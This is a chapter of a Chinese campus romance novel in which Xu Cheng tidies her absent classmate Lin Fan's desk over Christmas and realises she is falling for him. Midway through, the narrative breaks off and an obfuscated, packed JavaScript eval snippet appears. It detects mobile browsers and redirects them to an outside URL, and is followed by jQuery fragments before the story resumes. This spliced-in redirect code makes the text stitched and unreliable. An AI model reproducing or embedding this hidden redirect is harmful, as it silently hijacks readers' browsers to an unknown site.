世界末日安然度过。新的一个星期，学生还要上学，上班族还要上班，世界在它的秩序里。
许橙不在她的秩序里。
周一语文早读，她在讲台上领读。手里卷着语文书，视线却不在书上，在第四组角落。
林凡昨天没来上课，今天也没有。
他虽然通校，但没有迟到的时候。这两天是怎么了呢？
下早读，许橙回座位，张多多和她抱怨：“许橙，你刚一直往我们这边看，看什么呢？我还以为马中海来了，吓死了。”
马中海喜欢早读逮人，神出鬼没。
“有什么好吓的？张多多你做贼心虚呗。”唐小雪对着小圆镜子整理头发，又拿出个唇膏，涂一会儿抿一下。
做贼心虚四个字，说者无心，听者有意，许橙不自然地望向窗外，说：“外面那棵树上刚刚停了只鸟，长得挺漂亮的。”
周谨一难得抬了头，往窗外看。冬天，几棵落叶树光秃秃的，这会儿一只麻雀也没有。
“现在飞走了。”许橙勉力镇定。
好在周谨一没有深究，继续做题。
耐不住心里的疑问，许橙再一次做了贼。她故作随意地往后看，又故作随意地问张多多：“林凡怎么没来，迟到了吗？”
“不会吧，凡哥咋可能迟到？我刚也奇怪着呢。”张多多又朝后看了一眼，“昨天也没来，可能生病请假了吧。”
许橙手上拿着的讲义掉了，心也掉了。
林凡的衣服总是穿得薄，那天在半山公墓见到他，那么冷的天，他甚至没有穿羽绒服，而是和秋天穿得差不多。可能是感冒了。
他一个人，是不是不知道该怎么照顾自己呢？可是他那么爱干净，不像是不会打理生活的人。可能，只是在这方面，和他的性子一样散漫随心吧。
许橙慢慢地想很多，一叠讲义理了又理。唐小雪涂了润唇膏、护手霜，还滴了眼药水，一整套动作结束，她还在那儿理讲义，唐小雪都奇怪了。
第一节上英语，课前发资料，老余在班里巡视，说：“现在发的是这单元的语法重点，明天模拟考，考前再把语法看一看、背一背，这块丢分最严重。”
老余走到第四组，刚下发的纸张潦草地躺在林凡的桌面上。人不在，发的东西多，桌面一下子淹没了。
老余瞅了会儿张多多，摇摇头。又瞅了会儿埋头做题的周谨一，再摇摇头。
许橙是被老余拉回神的，老余指着林凡的桌子对她说：“许橙，这个星期林凡请假，你和他坐得近，帮忙把他的桌面理一理吧。”
心里正念着的名字，被老余一口说出来，许橙的呼吸都停了一下，连忙说“好”。
唐小雪好奇打探：“余老师，林凡请假这么久啊，他生病了吗？”
“没有，林凡他家里有事儿。”老余瞧了眼唐小雪的桌面，琳琅满目，可以开个小卖部，不满说，“唐小雪，好把你桌上的东西收收起来，让马主任看到了又给你记过了！”
唐小雪眨眨眼，等老余走了，她拉许橙，说：“家里有事？什么事能请假一个星期？这也太爽了吧，林凡是不是故意逃模拟考？”
唐小雪的关注点总是与众不同。上课铃响她就忘了这事，而许橙，思绪还是停不下来。
他一个人，家里有事，那是他爸爸那边有事吗？他爸爸对他那样凶……
中午一吃好饭，许橙就帮林凡整理桌面。
上午发了很多东西，讲义、周测卷、作业本……桌面一会儿不整理就乱糟糟。
就算是许橙，偶尔也会为整理东西焦头烂额。但林凡的桌子遇到一个好主人，它很轻松，沾染了他的气质，整洁、有条理。
桌面没有任何划痕涂鸦，也没有贴花花绿绿的纸条或者便利贴。
唐小雪贴了半桌面的便利贴，用来记课表和知识点。许橙也贴了几张，记容易忘的事。便利贴们叽叽喳喳说话，于是桌面变得吵闹。
许橙拿起那些讲义，突然想到，她帮林凡整理好的这些东西，之后他会拿起来看的。
这儿曾有过她的余温。
指尖挪到姓名栏，空白的横线上，指甲不自觉小小地划，刻一个名字。
林凡，叫起来很上口，笔画也简单。要是他做错事被罚抄名字，肯定抄得很快。
纸上真有了浅浅一道印痕，许橙吓了一跳，她在干什么呀？
有其他同学吃好饭回来，许橙慌忙把东西理好，回到自己座位，心跳那么快。
给林凡整理东西，只是一个小插曲，可是为什么，那两个字的音符总在她的脑海里徜徉呢？许橙解释，似乎，是自己太认真负责了。
圣诞节那天，林凡的东西变多了。
2012年，过圣诞的氛围还很浓厚。教室玻璃贴满圣诞老人的窗花，英语课课前，老余循环了好几遍“jinglebells,jinglebells”，旋律在许橙耳边响了一天。
唐小雪妈妈是英语老师，于是唐小雪过圣诞节的热情比谁都高。她带来一大袋拐棍糖，红红绿绿的，分给班里除了郑婷的所有人。
拐棍糖是薄荷口味。闻到的薄荷味和吃进去的薄荷味有些不同，但都清清凉凉。许橙有一点想念闻到的薄荷香。
过圣诞，大家都收到不少东西。这会儿也流行送贺卡，学校门口的文具店摆出好多样式，五光十色。动手能力强的，就自己画或者自己做，互相送来送去，比过春节还热闹。又有别的各式各样的小玩意儿，小挂件、圣诞蜡烛、小徽章……
林凡收到的东西特别多，其中贺卡最多。
“从昨天晚上到现在，有多少个别的班的来送？我数数啊。”张多多一个个掰手指头，最后摆摆手，“数不清了，连一中都有人托人送，我就说十一月那次和一中打篮球赛，凡哥打出名了！”
唐小雪趴在椅背上，没看林凡桌子，倒在看周谨一做数学题。
她蛮潇洒地点评：“就喜欢犯花痴，篮球赛有什么好看的？一堆男生跑来跑去，真无聊。她们运气不好，林凡现在又不在这儿。哎，林凡到底干嘛去了？这么多天还没回来，什么请假理由，我下次也想用。”
又拍拍许橙，说：“许橙，你快帮林凡把那些东西收好吧，不然被马中海一锅端了。”
遇上情人节、520这种日子，马中海能在教学楼转悠一天，专门逮早恋和送信的人，圣诞节大概也在他的业务范围内。
许橙站起身去理，有几张贺卡是单面的，一眼就看到了字儿，一些话不单纯是圣诞节快乐，有问能不能加联系方式的。
圣诞节互相送贺卡，许橙自己画了好几张，送给亲近的几个同学。林凡，她想送的，可是又怕自己显得太熟络……思来想去，还是没有画。
除了贺卡，还有几封信。拿着这些，许橙像捧着刚出炉的包子，烫手，扔也不是拿着也不是，她该怎么理？
唐小雪看见了，没来解救她，倒是低头扫视周谨一的桌面。她眼睛滴溜转几圈，有点儿不情愿地问：“周谨一，你有没有收到信？”
这属于八卦，周谨一不回答她。张多多古道热肠地做了个口型，“有”。
唐小雪的眼睛圆起来，打口型，“还真有？”，张多多点了点头。
唐小雪鼓了鼓嘴，但随即笑眯眯的：“周谨一，你就给我看看嘛，我现在好无聊呀。”
周谨一头也没抬：“那是别人的隐私。”
唐小雪撇撇嘴：“算了，也没什么好稀奇的，不用想就知道写了什么，不就是情书嘛？”
情书。
许橙手上这些薄薄的纸张，忽然有千钧万钧重了，闷闷地压在她心口。
她突然不想再整理。老余只让她帮忙理学习资料，这些东西，不是她的任务。
许橙不知道哪儿来的脾气和决心，一鼓作气拿来个塑料袋，三下五除二把那些东西搂到袋子里面，随手打好结，丢进桌肚。
回到座位，唐小雪凑热闹，问许橙：“那个谁有没有给林凡送东西？”
许橙没反应过来，看到张多多往右上方送眼风，她便知道了。
右上方，陈秋语端端正正坐着。她的脊背很挺，乌发高高地垂下来，发尾修剪得整齐，没有一点儿毛躁。
“我没有看是谁送的。”许橙听到自己的声音有些生硬。
周谨一离开座位，去交东西。唐小雪凑过来，和许橙说悄悄话：“我观察了这么久，陈秋语肯定对林凡有想法，但她喜不喜欢林凡，我倒看不出来。”
这话，许橙没有听懂：“啊？不喜欢也能有想法吗？”
唐小雪往周谨一的座位撇撇嘴，讲：“你不知道啊？她初中一开始不还接触周谨一吗？那会儿天天找周谨一问问题，可殷勤啦，后来调座位还主动要和周谨一坐一起呢。”
许橙不知道，初中一开学，大家都还不熟悉呢，她当然没有关注陈秋语。
“她可现实了，只接触家境好的男生，后来开过家长会，知道周谨一家里……就是普通了一点嘛，她就没再这样那样了。”唐小雪哼了一声，“她爸爸妈妈都是当官儿的，官二代就是现实一点。”
“嘿，你这话说的，现实一点还不好？”张多多突然插嘴。
“哇！张多多！你干嘛偷听我们讲话啊！”唐小雪又羞又怒，拍一下他桌子。
“你又没说不让我听，我就听着咯。”张多多嘻嘻笑，“大部分人都是普通家庭嘛，不过凡哥不普通，他号上装备能有好几万。”
“所以你看，她这个学期经常来这儿嘛，问这个问题那个问题啦，有什么好问的？她怎么不去问老师？”唐小雪说话有点儿酸溜溜。
陈秋语也是“别人家的孩子”，学习好，刚开学那次月考拿了年级第四，长得漂亮，又会说话，唐小雪妈妈经常提她，导致唐小雪对人家也有点儿愤愤的情绪了。
可许橙还有点糊里糊涂，不喜欢，只看家境，也能接触吗？
张多多说：“班长也挑人的，不是只看家境，要她自己先看得入眼才成吧。周大神长得好，她才肯接触。高年级有几个男的家里也有钱，我看今天还来送礼物了不是？那班长又没看上人家，硬件条件过不去呗。”
“挑挑嘛，挑上了可以接触，但不一定喜欢，她就是这么现实。”唐小雪做总结，“不过林凡各方面都好，她说不定真喜欢啦。那又怎么样，人家可不一定看上她。”
“不一定，真不一定，她来问凡哥问题，那凡哥也教她的呢。”张多多煽风点火。
“我问林凡林凡也教我啊。”唐小雪又拍桌子，“那是因为林凡人好，但我可没那么大的脸隔一天就去问一次。”
“你那是问问题吗？你那是直接要答案抄。”张多多不给唐小雪留情面。
唐小雪气得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471140|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说：“张多多你！那打赌啊，你输了你送我一套新专辑，我输了你游戏里想要什么你自己挑，我就不信了。”
两人还真赌上了，吵吵闹闹里，许橙又望陈秋语一眼。
她喜欢林凡吗？
还是，只是像接触周谨一那样接触他？
可过程和结果好像都一样的。
晚自习下课，许橙照例帮林凡理一遍桌面。唐小雪早已经出了教室，现在忽然飞奔回来，她忘了拿伞。
“许橙！外面下雪了诶！特别大，你等会儿回寝室的时候记得拿伞！”唐小雪好兴奋。
下雪了？许橙看向窗外。
夜色过浓，看不见雪落，反倒是玻璃窗上自己的倒影清晰。女孩子的眉攒着，唇也抿着，看上去不那么高兴。
许橙愣了一下，向自己解释，是因为刚刚复盘了模拟考的数学试卷。
忽然，有人喊她，是陈秋语。
陈秋语笑得柔和，递给许橙一块包装漂亮的饼干：“许橙，圣诞节快乐。这个姜饼人饼干挺好吃的，希望你会喜欢。”
许橙接过饼干，道了谢。陈秋语看了眼林凡的桌面，又说：“辛苦你这几天帮林凡收拾东西啦，我坐得有点儿远，本来应该过来一起帮忙的。”
她的声音还是那么亲切，甜甜的，绵绵的，话里有一种班长的责任感。
“谢谢班长，同学之间互相帮助是应该的。”许橙有点儿脸红了。
她有些惭愧，刚刚晚自习，为什么要揣测陈秋语的心意呢？无论人家接不接触林凡、喜不喜欢林凡，都是自己的自由，她不该去想那么多的。
外婆也说过，等到该谈恋爱该结婚的年纪，女孩子要现实一点好，找男朋友要擦亮眼睛，人品好家庭好才行，不然很容易出问题，以后都是自己吃苦。只是她们才十几岁，这个年纪的喜欢太纯粹了，领悟不到长辈的意思。陈秋语能领悟到，她很厉害。
陈秋语也在林凡的桌子上放下一块饼干，以及，一张贺卡。
她很落落大方，没有一点儿心虚或者害羞，笑眼弯弯地又说：“林凡现在在美国，要下个星期才能回来呢。许橙，整理东西的事情要再辛苦你几天啦，忙的话你和我说一声，我也过来帮个忙。”
陈秋语送林凡东西，许橙没有意外，但她很惊讶她的话：“林凡在美国？”
不论谁听到，都是这个反应，陈秋语自然地点点头：“嗯，林凡的家人在美国，他这次就是去陪家里人过圣诞节的。说起来，他很有可能会在美国留学，大学本科就会去。”
她看了一眼手表，说：“呀，有点儿迟了，我先回寝室啦！再见许橙，你也早点收拾好回寝室休息吧。”
空荡荡的教室里，唯有许橙一人站着。
陈秋语好像知道很多事，是因为她当班长吗？还是因为，她和林凡的关系更亲近？
她低下头，手里的姜饼人饼干是很大一个，外面的塑料包装印着雪花、麋鹿这些卡通图案，很漂亮。桌面上同样的饼干，底下压着一张漂亮的粉色贺卡，看不见字。
圣诞节，祝你圣诞节快乐。
手里握着饼干，同时也握着一份自己都不知的失落。如此沉寂的教室里，有十几秒许橙都没有动作。
终于，她把陈秋语送给林凡的东西小心翼翼地放进塑料袋，替她放好，也替他存好。
转过身，却不知道自己该做什么。去收拾桌面，扔抽屉里的垃圾，交没交的作业。明明简单有序的事，突然变得混乱。她丢三落四，这个拿了那个忘了，陷入不知为何而起的乱糟糟的烦闷里。
许橙走下楼，停在楼道口。
路灯的光鲜黄明亮，寒夜里给予一份体贴的温暖，照见大片大片下落的雪花。它们在天地间徘徊，无声无息，像没有生命的白蝶。
许橙望着，望出一种悲伤。王国维说一切景语皆情语，许橙不明白古人为什么有那么多情，现在她仍不明白具体的原因，但心境已然若合一契。
撑开伞，许橙走出教学楼。雪花落在伞面，耳语般簌簌。它们在和她窃窃私语么？可许橙没有倾听，因为她怔在了原地。
楼道口，雨伞，路灯。
这个情景，莫名熟悉。
她几乎能清晰地描摹出，林凡那时候是如何站在这里的。他站立的姿态，说话的样子，以及，那样微微的她当时并不曾闻到的薄荷香。
十二月，他不在这里，可又是哪里来的一点香，盈在了她的鼻尖。
又或是一点思念，盈在心田。
许橙的伞掉在雪地。
雪在一瞬下得大了，缠缠绵绵，纷纷扰扰。它们亲在女孩子的脸颊，融成冷冰冰的水珠，委屈地提醒她，许橙，你现在的脸好烫呀。
天地逆旅，她这个行人，已然失魂落魄。
这些天，她一直在想林凡，今天想得尤其多。为什么呢？是因为别的女孩子送来那些贺卡和信件，也是因为陈秋语。
她说，你现在在美国，以后会去留学。我不知道这是一个什么概念，我只知道，我们现在隔得很远，隔了一太平洋的千雪万雪。
想到从今往后长路漫漫，难以相见，不免眷恋。
为什么？她到底为什么会这样？
许橙战栗在雪里。很久以后，她仰起脸，闭着眼睛，任由一片雪花落在鼻尖。
因为寒冬腊月，你也是我的雪中春信。